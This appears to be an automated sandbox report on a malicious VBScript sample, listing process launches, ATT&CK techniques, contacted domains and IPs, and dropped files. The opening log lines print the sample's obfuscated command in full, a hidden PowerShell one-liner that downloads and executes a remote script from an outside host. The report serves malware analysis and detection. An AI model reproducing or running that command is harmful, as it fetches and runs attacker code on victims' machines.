Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c "echo $($bqiep = $('{7}{8}{1}' -f $('bxljczkie'.tochararray())); $((-290,-303,-280,-265,-335,-298,-280,-267,-263,-276,-282,-280,-301,-270,-276,-271,-265,-304,-284,-271,-284,-278,-280,-267,-288,-323,-323,-298,-280,-267,-263,-280,-267,-314,-280,-267,-265,-276,-279,-276,-282,-284,-265,-280,-295,-284,-273,-276,-281,-284,-265,-276,-270,-271,-314,-284,-273,-273,-283,-284,-282,-274,-349,-320,-349,-258,-345,-265,-267,-264,-280,-256,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-349,-320,-349,-290,-298,-260,-266,-265,-280,-272,-335,-303,-280,-265,-335,-309,-265,-265,-269,-294,-280,-283,-299,-280,-268,-264,-280,-266,-265,-288,-323,-323,-314,-267,-280,-284,-265,-280,-341,-342,-277,-265,-265,-269,-266,-323,-334,-334,-277,-270,-266,-265,-325,-328,-328,-333,-333,-335,-276,-271,-279,-270,-323,-332,-328,-330,-331,-331,-334,-262,-280,-283,-332,-335,-269,-277,-269,-342,-340,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-297,-276,-272,-280,-270,-264,-265,-349,-320,-349,-330,-333,-333,-333,-333,-333,-322,-349,-345,-341,-290,-298,-260,-266,-265,-280,-272,-335,-308,-270,-335,-298,-265,-267,-280,-284,-272,-299,-280,-284,-281,-280,-267,-288,-341,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-341,-340,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-298,-265,-267,-280,-284,-272,-341,-340,-340,-340,-335,-299,-280,-284,-281,-297,-270,-312,-271,-281,-341,-340,-349,-257,-349,-308,-312,-293)^^^\|%{[char]($_+381)})-join'') ^^^\| ^^^&($bqiep) \| c:\windows\syswow64\windowspowershell\v1.0\powershell.exe -window hidden -c -"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /s /d /c" echo $($bqiep = $('{7}{8}{1}' -f $('bxljczkie'.tochararray())); $((-290,-303,-280,-265,-335,-298,-280,-267,-263,-276,-282,-280,-301,-270,-276,-271,-265,-304,-284,-271,-284,-278,-280,-267,-288,-323,-323,-298,-280,-267,-263,-280,-267,-314,-280,-267,-265,-276,-279,-276,-282,-284,-265,-280,-295,-284,-273,-276,-281,-284,-265,-276,-270,-271,-314,-284,-273,-273,-283,-284,-282,-274,-349,-320,-349,-258,-345,-265,-267,-264,-280,-256,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-349,-320,-349,-290,-298,-260,-266,-265,-280,-272,-335,-303,-280,-265,-335,-309,-265,-265,-269,-294,-280,-283,-299,-280,-268,-264,-280,-266,-265,-288,-323,-323,-314,-267,-280,-284,-265,-280,-341,-342,-277,-265,-265,-269,-266,-323,-334,-334,-277,-270,-266,-265,-325,-328,-328,-333,-333,-335,-276,-271,-279,-270,-323,-332,-328,-330,-331,-331,-334,-262,-280,-283,-332,-335,-269,-277,-269,-342,-340,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-297,-276,-272,-280,-270,-264,-265,-349,-320,-349,-330,-333,-333,-333,-333,-333,-322,-349,-345,-341,-290,-298,-260,-266,-265,-280,-272,-335,-308,-270,-335,-298,-265,-267,-280,-284,-272,-299,-280,-284,-281,-280,-267,-288,-341,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-341,-340,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-298,-265,-267,-280,-284,-272,-341,-340,-340,-340,-335,-299,-280,-284,-281,-297,-270,-312,-271,-281,-341,-340,-349,-257,-349,-308,-312,-293)^\|%{[char]($_+381)})-join'') ^\| ^&($bqiep) "
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c "echo $($bqiep = $('{7}{8}{1}' -f $('bxljczkie'.tochararray())); $((-290,-303,-280,-265,-335,-298,-280,-267,-263,-276,-282,-280,-301,-270,-276,-271,-265,-304,-284,-271,-284,-278,-280,-267,-288,-323,-323,-298,-280,-267,-263,-280,-267,-314,-280,-267,-265,-276,-279,-276,-282,-284,-265,-280,-295,-284,-273,-276,-281,-284,-265,-276,-270,-271,-314,-284,-273,-273,-283,-284,-282,-274,-349,-320,-349,-258,-345,-265,-267,-264,-280,-256,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-349,-320,-349,-290,-298,-260,-266,-265,-280,-272,-335,-303,-280,-265,-335,-309,-265,-265,-269,-294,-280,-283,-299,-280,-268,-264,-280,-266,-265,-288,-323,-323,-314,-267,-280,-284,-265,-280,-341,-342,-277,-265,-265,-269,-266,-323,-334,-334,-277,-270,-266,-265,-325,-328,-328,-333,-333,-335,-276,-271,-279,-270,-323,-332,-328,-330,-331,-331,-334,-262,-280,-283,-332,-335,-269,-277,-269,-342,-340,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-297,-276,-272,-280,-270,-264,-265,-349,-320,-349,-330,-333,-333,-333,-333,-333,-322,-349,-345,-341,-290,-298,-260,-266,-265,-280,-272,-335,-308,-270,-335,-298,-265,-267,-280,-284,-272,-299,-280,-284,-281,-280,-267,-288,-341,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-341,-340,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-298,-265,-267,-280,-284,-272,-341,-340,-340,-340,-335,-299,-280,-284,-281,-297,-270,-312,-271,-281,-341,-340,-349,-257,-349,-308,-312,-293)^^^\|%{[char]($_+381)})-join'') ^^^\| ^^^&($bqiep) \| c:\windows\syswow64\windowspowershell\v1.0\powershell.exe -window hidden -c -"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /s /d /c" echo $($bqiep = $('{7}{8}{1}' -f $('bxljczkie'.tochararray())); $((-290,-303,-280,-265,-335,-298,-280,-267,-263,-276,-282,-280,-301,-270,-276,-271,-265,-304,-284,-271,-284,-278,-280,-267,-288,-323,-323,-298,-280,-267,-263,-280,-267,-314,-280,-267,-265,-276,-279,-276,-282,-284,-265,-280,-295,-284,-273,-276,-281,-284,-265,-276,-270,-271,-314,-284,-273,-273,-283,-284,-282,-274,-349,-320,-349,-258,-345,-265,-267,-264,-280,-256,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-349,-320,-349,-290,-298,-260,-266,-265,-280,-272,-335,-303,-280,-265,-335,-309,-265,-265,-269,-294,-280,-283,-299,-280,-268,-264,-280,-266,-265,-288,-323,-323,-314,-267,-280,-284,-265,-280,-341,-342,-277,-265,-265,-269,-266,-323,-334,-334,-277,-270,-266,-265,-325,-328,-328,-333,-333,-335,-276,-271,-279,-270,-323,-332,-328,-330,-331,-331,-334,-262,-280,-283,-332,-335,-269,-277,-269,-342,-340,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-297,-276,-272,-280,-270,-264,-265,-349,-320,-349,-330,-333,-333,-333,-333,-333,-322,-349,-345,-341,-290,-298,-260,-266,-265,-280,-272,-335,-308,-270,-335,-298,-265,-267,-280,-284,-272,-299,-280,-284,-281,-280,-267,-288,-341,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-341,-340,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-298,-265,-267,-280,-284,-272,-341,-340,-340,-340,-335,-299,-280,-284,-281,-297,-270,-312,-271,-281,-341,-340,-349,-257,-349,-308,-312,-293)^\|%{[char]($_+381)})-join'') ^\| ^&($bqiep) "	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	221 Scripting	Valid Accounts	11 Command and Scripting Interpreter	221 Scripting	111 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	111 Process Injection	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	12 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
analysis.vbs	7%	Virustotal		Browse
analysis.vbs	3%	ReversingLabs	Win32.Dropper.Generic

Source	Detection	Scanner	Label
https://s4.histav2	0%	Avira URL Cloud	safe
https://s4.hista	0%	Avira URL Cloud	safe
https://s4.histatl2	0%	Avira URL Cloud	safe
http://www.microsoft.cot	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
host85500.info	45.93.9.167	true	false		unknown
s4.histats.com	149.56.240.127	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://s4.histats.com/stats/0.php?4926118&@f16&@g1&@h1&@i1&@vhttps://histats.com/d_opened	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://s4.histats.com/st	wscript.exe, 00000000.00000002.2157030674.0000021326C46000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2155969410.0000021326C3F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s4.histav2	wscript.exe, 00000000.00000003.2155969410.0000021326C3F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://histats.com/d_openedjg	wscript.exe, 00000000.00000002.2157030674.0000021326C46000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s4.histats.com/o	wscript.exe, 00000000.00000003.2155993130.0000021328DB9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2155460887.0000021328DB9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2157396890.0000021328DB9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://histats.com/d_openedw2	wscript.exe, 00000000.00000003.2155460887.0000021328D82000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2157396890.0000021328D87000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2155993130.0000021328D87000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s4.histats.com/s	wscript.exe, 00000000.00000002.2157030674.0000021326C46000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2155969410.0000021326C3F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.microsoft.cot	wscript.exe, 00000000.00000002.2157512064.0000021328E53000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://histats.com/d_openedl	wscript.exe, 00000000.00000003.2156569055.0000021326CAF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2155775019.0000021326CAF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2156362022.0000021326CAF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2156423007.0000021326CAF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2157099379.0000021326CAF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://histats.com/d_opened-	wscript.exe, 00000000.00000002.2157235442.0000021326F35000.00000004.00000020.00020000.00000000.sdmp	false		high
https://histats.com/d_openedP	wscript.exe, 00000000.00000002.2157030674.0000021326C46000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2155969410.0000021326C3F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s4.histatl2	wscript.exe, 00000000.00000002.2157030674.0000021326C46000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2155969410.0000021326C3F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://s4.histats.com/stats/0.php?4926118&	wscript.exe, 00000000.00000003.2155969410.0000021326C3F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s4.histats.com/C	wscript.exe, 00000000.00000003.2155993130.0000021328DB9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2155460887.0000021328DB9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2157396890.0000021328DB9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://histats.com/d_opened	wscript.exe, 00000000.00000003.2155969410.0000021326C3F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://histats.com/d_openedh	wscript.exe, 00000000.00000002.2157512064.0000021328E53000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s4.hista	wscript.exe, 00000000.00000002.2157030674.0000021326C46000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
45.93.9.167	host85500.info	Russian Federation		44676	VMAGE-ASRU	false
149.56.240.127	s4.histats.com	Canada		16276	OVHFR	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1607480
Start date and time:	2025-02-05 16:19:18 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	analysis.vbs
Detection:	MAL
Classification:	mal84.expl.evad.winVBS@8/5@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.253.45, 20.12.23.50
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
10:20:18	API Interceptor	45x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
45.93.9.167	CfF7MWq7aG.html	Get hash	malicious	Unknown	Browse
149.56.240.127	https://fooofooofooo.b-cdn.net/	Get hash	malicious	TechSupportScam	Browse
	https://alluc.co/watch-movies/passengers.html	Get hash	malicious	Unknown	Browse
	https://hy.markkasmick.click/cx/tbSgVco_akr35UznLBgMmL_dGwr4A9B_vyg2WwEB0w1LRjKjQMyEnB89mCfTRy8oqnbpdFunqinBhx0TsHvSJdUHnbksc3kdcKecoDvVHa5LAm46atMmRo3D2CHoEu2bmOqt4Ic8O_7AE7Igwgbi5c8zmZf6Fqp_XqcjREPr7609oL7vKm8FfjGLhMetr2oxtpR3ywH4BUElgc7EI7usxj8CJYEUMktwlb7YUzPvYQ7P1PilEV0LqiXI5sm6QVF4ZGl5TIXhnQLOG0kl6WQ0miiZysBfhaNojnPTUvisUUkwOp2fYTxkXEIhZ7ESJ7qXYLxQbmy4RJVeZZZ3RY5rX8W5t8cudSM9Zx7UaxgLH56aOv81v4QfUnzroT9v7LR3jPEjzYXr2LwuykYQnzvV6boWlogU4jkPE6MocRRlRoC6uUx2e1Wseo8MqGWTT2uXo4HbQDneiMF84sQ34*3TnbAxXWu8xLbb_mAOQxUTA3T5TUUZKeU3ziolM8TSVV5Y5LQTFGtNArddwJKdWCb_cLYMxUJpZ3cqM_A	Get hash	malicious	Unknown	Browse
	http://football-booster.freevisit1.com/hs-football.php?live=Greendale%20vs%20Milwaukee%20Lutheran	Get hash	malicious	Unknown	Browse
	http://moremashup.com	Get hash	malicious	Unknown	Browse
	https://circleoftoast.blogspot.com	Get hash	malicious	Unknown	Browse
	http://instaofficiallog.blogspot.com/	Get hash	malicious	HTMLPhisher	Browse
	https://www.google.com/url?rct=j&sa=t&url=https://mencsom.click/call/aixheijmur&ct=ga&cd=CAEYASoTNTAxNTU4MzAyNDMwMDkzOTY4MTIaNzRmM2RkZTE1NWFkOWUzMzpjb206ZW46VVM&usg=AOvVaw0__SVRP8owZu02bhN2WI1S	Get hash	malicious	Unknown	Browse
	https://netflixfreefiresportlive.blogspot.com/	Get hash	malicious	HTMLPhisher	Browse
	http://s953497062.onlinehome.us/fixit?_recovrAccount	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s4.histats.com	CfF7MWq7aG.html	Get hash	malicious	Unknown	Browse	142.4.219.198
	https://getwellslogsnowonline.vercel.app/	Get hash	malicious	Unknown	Browse	149.56.240.132
	https://fooofooofooo.b-cdn.net/	Get hash	malicious	TechSupportScam	Browse	149.56.240.127
	El3cE5jq1L.pdf	Get hash	malicious	Unknown	Browse	149.56.240.129
	http://home45insurance.blogspot.com	Get hash	malicious	Unknown	Browse	54.39.128.162
	http://jinoodle-polopol.b-cdn.net/	Get hash	malicious	TechSupportScam	Browse	149.56.240.27
	https://eightdays-pdfnow.b-cdn.net/	Get hash	malicious	TechSupportScam	Browse	149.56.240.130
	http://nomads-primes-pdfs.b-cdn.net/	Get hash	malicious	TechSupportScam	Browse	149.56.240.27
	https://suman006723213.github.io/garena.reward.ff/	Get hash	malicious	HTMLPhisher	Browse	149.56.240.27
	https://199.188.109.181	Get hash	malicious	Unknown	Browse	158.69.254.144

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
OVHFR	vessels details.exe	Get hash	malicious	CryptOne, MassLogger RAT	Browse	51.81.194.202
	https://www.mccallionstaffing.com/search-jobs/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	54.38.113.6
	CfF7MWq7aG.html	Get hash	malicious	Unknown	Browse	142.4.219.198
	https://westallisheating.com/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	51.81.55.251
	Bank Slip pdf.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	54.39.129.84
	https://eventmidasbuyz.merchats.com/	Get hash	malicious	HTMLPhisher	Browse	46.105.222.82
	res.arm5.elf	Get hash	malicious	Unknown	Browse	149.60.1.98
	res.spc.elf	Get hash	malicious	Unknown	Browse	188.165.189.140
	https://je.engl6.shop/webro-DPD-notificare/	Get hash	malicious	Unknown	Browse	54.38.113.8
	https://tt.vg/notificareDPD02	Get hash	malicious	Unknown	Browse	51.178.195.217
VMAGE-ASRU	05epqpFYdF.exe	Get hash	malicious	PureLog Stealer, SmokeLoader	Browse	2.59.163.71
	_30343667.js	Get hash	malicious	PureLog Stealer, SmokeLoader	Browse	2.59.163.71
	CfF7MWq7aG.html	Get hash	malicious	Unknown	Browse	45.93.9.167
	svc2.exe	Get hash	malicious	SmokeLoader	Browse	2.59.163.71
	file.hta	Get hash	malicious	SmokeLoader	Browse	2.59.163.172
	#U0414#U043e#U0433#U043e#U0432i#U0440_#U043f#U043e#U0441#U0442#U0430#U0432#U043a#U0438.js	Get hash	malicious	SmokeLoader	Browse	2.59.163.172
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	45.130.170.23
	JzDYvnUh8s.exe	Get hash	malicious	RedLine	Browse	5.182.36.101
	Salary Amendment.xlsx	Get hash	malicious	HTMLPhisher	Browse	2.59.163.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	193.43.91.119

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	vessels details.exe	Get hash	malicious	CryptOne, MassLogger RAT	Browse	149.56.240.127
	https://gruposiblings.com/facturacion.php	Get hash	malicious	Unknown	Browse	149.56.240.127
	New Order_pdf_006534325.exe	Get hash	malicious	GuLoader	Browse	149.56.240.127
	FC4311009.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.56.240.127
	New Order List Inquiry #657833.exe	Get hash	malicious	Discord Token Stealer, GuLoader	Browse	149.56.240.127
	PROFORMA INVOICE - AL AHWAL AL JAYEDAH TECH.CONT.L.L.C.exe	Get hash	malicious	GuLoader	Browse	149.56.240.127
	FAKTURA 012025.exe	Get hash	malicious	GuLoader	Browse	149.56.240.127
	URGENT Quotation.exe	Get hash	malicious	FormBook, GuLoader	Browse	149.56.240.127
	Factura.exe	Get hash	malicious	Snake Keylogger	Browse	149.56.240.127
	FAKTURA 012025.exe	Get hash	malicious	GuLoader	Browse	149.56.240.127

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	376
Entropy (8bit):	5.175134110355963
Encrypted:	false
SSDEEP:	6:51DMwYb13LkVVXI8mgO9lVhnmUqZzwGdDVTYqL1+LD+mMkuc1zlCBbAm+RbDRWP/:51DrYb13QvuHnmVZkGdDJH10D+xc15C5
MD5:	C2B26B17141E97DA490556030D44F1C3
SHA1:	FE0D875538ED94E607D4F3FEFECFC8F797FF3EA9
SHA-256:	892D55861A7789EEC2CAD963B875D9EBF537FF3698F08D0349CE86395D224262
SHA-512:	67DB732D53C80D1BF30EF6EE75A73ED69ED071AC4E84FF86789A16DFAE810BEF0D2CEF472D6E8624247196334B7F48A65158552FC8A012F968ECDD332A840235
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	_HST_cntval="Initializing..";chfh(_HST_cntval);;!function(){try{var b=document.createElement("script");b.src="//e.dtscout.com/e/?v=1a&pid=5200&site=1&l="+encodeURIComponent(window.location.href)+"&j="+encodeURIComponent(document.referrer);.b.async="async";b.type="text/javascript";var a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(b,a);}catch(e){}}();

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	5829
Entropy (8bit):	4.901113710259376
Encrypted:	false
SSDEEP:	96:ZCJ2Woe5H2k6Lm5emmXIGLgyg12jDs+un/iQLEYFjDaeWJ6KGcmXlQ9smpFRLcUn:Uxoe5HVsm5emdQgkjDt4iWN3yBGHVQ9v
MD5:	7827E04B3ECD71FB3BD7BEEE4CA52CE8
SHA1:	22813AF893013D1CCCACC305523301BB90FF88D9
SHA-256:	5D66D4CA13B4AF3B23357EB9BC21694E7EED4485EA8D2B8C653BEF3A8E5D0601
SHA-512:	D5F6604E49B7B31C2D1DA5E59B676C0E0F37710F4867F232DF0AA9A1EE170B399472CA1DF0BD21DF702A1B5005921D35A8E6858432B00619E65D0648C74C096B
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ime1wocq.hyz.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
